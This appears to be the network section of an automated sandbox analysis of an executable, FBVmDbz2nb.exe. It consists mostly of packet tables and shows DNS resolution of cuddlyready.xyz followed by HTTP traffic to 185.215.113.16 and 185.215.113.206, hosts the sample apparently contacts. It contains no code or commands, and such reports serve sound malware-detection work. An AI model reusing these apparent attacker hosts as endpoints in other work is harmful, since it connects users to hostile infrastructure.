Dec 23, 2024 08:53:21.613420010 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.613450050 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.613519907 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.613655090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.613667965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.613689899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.613765001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.613801956 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.613825083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.613838911 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.613871098 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614000082 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614104033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614136934 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614172935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614186049 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614217043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614304066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614342928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614356041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614370108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614377022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614408016 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614670992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614768982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614779949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614803076 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614943981 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614957094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614968061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.614979029 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.614980936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615005970 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.615253925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615267038 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615278959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615289927 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.615291119 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615324020 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.615665913 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615704060 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.615725994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615739107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615782022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.615927935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615941048 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615952969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.615973949 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.616122961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616158962 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.616167068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616179943 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616213083 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.616386890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616399050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616436958 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.616583109 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616663933 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616676092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616697073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.616823912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616869926 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.616911888 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616940975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616952896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.616972923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.617152929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617189884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.617213964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617228031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617243052 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617264986 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.617579937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617650032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.617655039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617666960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617726088 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.617860079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617872953 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617885113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617897987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.617908955 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.617935896 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.618180037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618191004 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618204117 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618218899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618228912 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.618256092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.618540049 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618594885 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618607044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.618670940 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.665853977 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.680435896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680466890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680480003 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680545092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.680561066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680602074 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.680612087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680635929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680646896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680668116 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.680916071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680934906 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680949926 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.680959940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.680989981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.681166887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681179047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681193113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681205034 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681214094 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.681240082 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.681385994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681469917 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681483984 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681508064 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.681595087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681629896 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.681667089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681679010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681693077 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681711912 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.681921959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.681967020 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.738917112 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.738976002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.738990068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739026070 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.739118099 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739129066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739140987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739151955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739192009 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.739474058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739485979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739496946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739510059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739516973 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.739537001 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.739774942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739789009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739801884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739811897 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.739840984 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.739936113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739947081 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.739958048 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.740034103 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.740216017 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.740227938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.740237951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.740248919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.740257978 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.740293026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.805408001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805457115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805469990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805557013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.805605888 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805618048 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805629969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805669069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.805700064 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.805869102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805887938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805900097 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805912971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.805928946 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.805953026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.806098938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806159019 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806170940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806184053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806202888 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.806226969 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.806410074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806428909 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806441069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806454897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806467056 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.806493998 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.806739092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806751966 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806761980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806799889 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.806973934 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.806991100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807002068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807019949 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.807044983 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.807203054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807214975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807224989 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807236910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807264090 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.807286978 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.807482958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807539940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807553053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807564020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807584047 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.807607889 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.807790995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807898998 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807912111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.807939053 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808022976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808063984 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808095932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808106899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808119059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808146954 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808367014 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808408022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808459997 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808471918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808516026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808649063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808660030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808671951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808682919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808701038 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808722973 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.808919907 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808945894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808958054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.808989048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.809145927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809201002 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.809319973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809384108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809396982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809426069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.809503078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809546947 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.809577942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809591055 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809602022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809627056 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.809895039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809906960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809916973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809930086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.809942961 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.809973955 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.810286045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810339928 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.810355902 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810368061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810406923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.810480118 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810533047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810544968 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810555935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.810585022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.810607910 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.810959101 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.872931957 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.872975111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.872987986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873020887 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873167992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873179913 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873189926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873202085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873209000 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873220921 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873475075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873486042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873496056 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873507977 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873513937 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873528004 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873784065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873800993 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873811960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873822927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873825073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873836040 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.873846054 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.873873949 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.874139071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.874208927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.874242067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.874253988 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.874267101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.874277115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.874296904 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.921566963 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.931165934 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931185961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931199074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931224108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931271076 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.931339979 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.931368113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931391001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931402922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931412935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:21.931438923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.931467056 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:21.997375965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:22.040697098 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:22.486335039 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:25.519670010 CET	49808	80	192.168.2.9	185.215.113.206
Dec 23, 2024 08:53:25.639463902 CET	80	49808	185.215.113.206	192.168.2.9
Dec 23, 2024 08:53:25.639589071 CET	49808	80	192.168.2.9	185.215.113.206
Dec 23, 2024 08:53:25.640455961 CET	49808	80	192.168.2.9	185.215.113.206
Dec 23, 2024 08:53:25.759948015 CET	80	49808	185.215.113.206	192.168.2.9
Dec 23, 2024 08:53:26.972745895 CET	80	49808	185.215.113.206	192.168.2.9
Dec 23, 2024 08:53:26.972872972 CET	49808	80	192.168.2.9	185.215.113.206
Dec 23, 2024 08:53:26.985081911 CET	49808	80	192.168.2.9	185.215.113.206
Dec 23, 2024 08:53:27.104717016 CET	80	49808	185.215.113.206	192.168.2.9
Dec 23, 2024 08:53:27.427815914 CET	80	49808	185.215.113.206	192.168.2.9
Dec 23, 2024 08:53:27.428083897 CET	49808	80	192.168.2.9	185.215.113.206
Dec 23, 2024 08:53:29.454179049 CET	49808	80	192.168.2.9	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:52:50.485459089 CET	62647	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:52:50.708950996 CET	53	62647	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:52:50.485459089 CET	192.168.2.9	1.1.1.1	0x586d	Standard query (0)	cuddlyready.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:52:43.810018063 CET	1.1.1.1	192.168.2.9	0xdf30	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:52:43.810018063 CET	1.1.1.1	192.168.2.9	0xdf30	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:52:50.708950996 CET	1.1.1.1	192.168.2.9	0x586d	No error (0)	cuddlyready.xyz		104.21.32.96	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:52:50.708950996 CET	1.1.1.1	192.168.2.9	0x586d	No error (0)	cuddlyready.xyz		172.67.150.173	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cuddlyready.xyz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49777	185.215.113.16	80	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
